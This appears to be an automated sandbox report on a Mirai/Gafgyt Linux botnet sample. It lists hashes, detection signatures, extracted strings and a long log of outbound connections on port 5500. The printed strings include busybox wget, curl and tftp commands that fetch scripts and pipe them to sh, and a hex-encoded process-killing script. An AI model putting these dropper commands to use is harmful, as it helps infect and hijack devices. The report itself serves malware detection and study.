Linux Analysis Report
bin.i586.elf

Overview

General Information

Sample name: bin.i586.elf
Analysis ID: 1538203
MD5: 88b98248f1a1806c81313accd7b5e2e4
SHA1: f24d4474ebe37fc3053f4535fe89708fe3df38ba
SHA256: 8fd545b16567dccabbb2890652d59f94d12942eeb7bbf9ac93b2cd1e30927ec2
Tags: elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Machine Learning detection for sample
Sample deletes itself
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Bashlite, Gafgyt Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: bin.i586.elf ReversingLabs: Detection: 57%
Machine Learning detection for sample
Source: bin.i586.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: bin.i586.elf String: Killed process %d (path: %s) because it matched kill string "%s" in path_kill_strings.Killed process %d (command line: %s) because it matched kill string "%s" in cmdline_kill_strings./proc/%d/statMUSHI_KILLER/proc/root/tmp/varcurlwgetftpscp
Source: bin.i586.elf String: /bin/busyboxenablelinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >>sh .k/bin/busybox wget http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: bin.i586.elf String: > .dThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 195.92.55.96:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 37.228.53.77:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 74.136.5.20:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 139.176.109.60:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 64.212.197.55:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 87.160.50.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 217.17.107.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 197.184.180.22:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.31.38.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 113.189.76.56:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 109.40.115.67:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 178.78.225.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 91.96.254.77:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 35.89.47.34:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 209.175.115.115:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 178.100.250.44:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 80.220.222.60:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 36.184.30.99:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 151.183.50.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 132.32.182.78:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 109.106.42.10:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 89.66.193.72:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 154.34.130.98:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 203.211.45.82:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 167.125.48.120:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 9.90.95.110:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 27.42.207.103:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 176.166.138.120:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 42.116.148.18:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 35.121.129.7:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 200.171.163.65:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 176.3.10.105:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 166.116.128.39:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 97.251.215.89:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 148.175.151.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 162.87.243.29:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 52.22.251.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 107.52.52.11:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 8.79.178.31:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 133.95.148.79:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 165.9.202.10:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 208.22.151.38:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 118.174.49.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 17.190.89.92:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 72.126.223.65:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 67.254.116.45:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 200.170.230.62:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 121.99.175.125:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 150.198.23.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 201.105.64.125:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 223.136.66.20:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 88.179.36.92:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.194.118.13:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 63.47.45.34:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 67.185.174.104:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 65.45.229.12:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 37.234.251.57:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 67.75.82.111:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 67.36.201.7:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 218.85.65.92:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 80.92.44.113:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 199.149.22.30:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 50.129.230.60:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 153.246.227.50:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 65.146.88.110:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 27.71.123.4:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 52.90.11.94:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 133.83.70.2:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 152.50.182.111:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 153.106.215.113:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 48.49.239.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 137.88.104.50:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 52.240.123.5:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 182.187.26.37:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 188.86.27.57:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 39.150.179.126:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 48.110.44.65:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 162.211.139.79:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 44.36.162.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 53.225.13.23:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 52.184.155.82:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 9.123.137.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 92.233.146.24:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 44.221.168.63:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 34.79.76.101:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 97.72.109.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 107.241.231.78:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 37.139.212.4:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 9.4.101.87:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 118.115.102.5:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 136.195.183.8:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 64.100.51.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 223.115.252.81:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 149.182.16.58:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 180.181.54.93:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 223.56.8.0:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 94.150.94.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 220.88.15.30:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 169.130.83.39:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 178.184.59.42:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 129.12.83.56:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 146.254.130.31:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 128.231.163.39:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 208.106.116.111:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 171.64.133.120:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 9.16.25.35:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 98.215.1.52:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 123.72.169.67:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 58.86.77.22:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 206.183.52.22:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 18.214.107.13:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 147.191.161.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 129.180.145.117:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 157.131.71.16:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 154.157.2.58:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 165.133.185.21:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 48.150.135.51:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 141.45.94.125:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 177.167.5.58:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 48.143.54.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 2.177.165.73:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 61.102.140.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 160.187.103.116:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 167.235.127.51:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 126.44.252.116:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 62.186.192.119:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 91.206.219.126:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 86.175.49.14:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 143.1.171.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 51.15.78.8:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 108.198.80.44:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 175.115.18.61:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 73.172.218.12:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 53.159.157.38:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 181.226.251.92:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 136.183.144.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 208.255.27.27:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 115.171.24.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 170.204.146.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 5.69.51.2:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 99.150.21.62:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 9.77.251.84:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 195.216.186.27:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 73.146.39.53:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 120.124.111.108:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 170.17.124.68:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 13.203.113.122:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 49.187.192.32:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 2.142.175.1:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 71.243.69.109:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 2.173.195.44:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 207.126.97.121:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 75.184.35.70:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 104.27.197.45:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 217.241.134.26:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 59.251.42.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 102.8.238.53:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 51.13.131.46:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 198.85.107.35:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 221.115.161.48:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 86.212.56.8:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 12.251.26.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 165.103.154.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 104.234.208.116:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 70.150.185.14:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 49.154.242.78:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 95.10.46.65:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 65.229.202.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 150.241.129.83:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 84.229.155.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 128.221.71.120:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 109.199.225.110:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 196.242.184.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 60.130.202.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 194.94.74.20:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 168.212.46.20:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 116.176.211.78:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 194.116.221.82:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 158.229.3.81:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 211.144.84.47:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 19.117.237.32:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.77.54.55:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 174.142.21.35:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 36.116.194.58:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 154.157.140.41:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 134.153.2.7:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 84.116.14.49:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 34.78.165.35:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 5.139.159.55:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 175.24.32.64:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 199.189.222.101:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 141.143.48.39:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 156.65.209.4:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 204.155.166.17:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 8.103.202.17:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 75.201.227.51:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 144.118.183.61:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 198.209.206.79:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 86.64.93.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 39.13.31.117:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 73.200.146.33:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 177.202.36.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 126.235.7.51:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 42.153.200.102:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 94.219.183.11:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 185.236.206.53:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 141.49.82.32:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 17.7.11.42:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 222.161.16.57:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.79.149.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 98.178.205.25:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 147.31.184.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 49.48.190.75:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 79.252.107.37:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 47.189.179.18:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 18.234.99.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 91.171.88.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 101.143.68.55:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 77.186.26.69:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 14.39.56.113:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 148.210.226.108:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 109.38.225.45:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 222.219.6.50:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 78.144.190.2:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 54.215.167.73:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 204.37.28.121:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 146.37.40.99:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 205.39.199.67:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 80.222.80.9:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 193.144.109.27:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 197.2.161.56:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 149.186.54.72:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 159.235.78.111:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 177.66.168.11:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 89.233.198.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 174.126.97.101:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 86.117.163.61:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 218.162.12.113:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 211.188.192.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 144.191.235.11:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 179.9.116.119:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 37.153.47.58:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 183.155.150.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 186.241.115.4:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 38.236.110.18:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 141.236.87.5:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 74.177.95.16:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 183.19.147.105:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 8.219.134.31:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 61.18.8.34:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 182.41.112.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 85.153.142.25:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 39.196.112.73:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 81.5.218.101:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 212.253.252.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 90.52.240.81:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 17.157.160.37:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 213.112.154.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 185.238.90.46:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 106.74.172.43:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 104.24.68.108:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 137.235.48.17:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 206.163.228.90:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 94.80.182.72:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 189.129.88.11:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 114.167.120.23:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 104.138.38.47:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 24.158.23.49:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.72.160.110:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 116.0.108.14:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 159.236.238.104:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 162.182.89.15:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 180.27.21.98:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 189.229.33.98:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 84.88.82.36:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 37.220.133.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 97.61.233.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 62.7.186.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 198.191.197.120:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 201.253.147.60:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 199.197.229.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 160.194.110.114:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 68.219.188.51:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 84.230.236.83:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.97.54.18:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 31.206.201.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 60.72.213.34:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 70.138.71.59:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 177.193.250.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 126.227.116.35:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 185.11.94.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 95.169.138.103:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 193.96.225.15:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 48.205.236.87:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 51.46.156.91:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 185.33.72.100:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 46.210.24.58:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 160.251.98.26:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 45.237.137.23:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 24.248.101.59:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 203.28.87.99:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 86.220.121.9:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 98.150.222.64:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 104.108.17.28:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 84.66.7.99:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 105.85.8.73:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 204.54.153.123:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 208.195.106.61:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 18.40.56.29:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 115.101.33.33:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 178.202.8.47:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 57.154.248.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 31.175.241.104:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 80.151.134.5:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 209.78.32.75:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 213.59.219.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 101.121.47.81:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 70.245.147.72:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 153.8.130.79:5500
Source: global traffic TCP traffic: 192.168.2.13:55300 -> 85.239.34.134:51515
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 210.3.52.7:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 9.222.149.112:5500
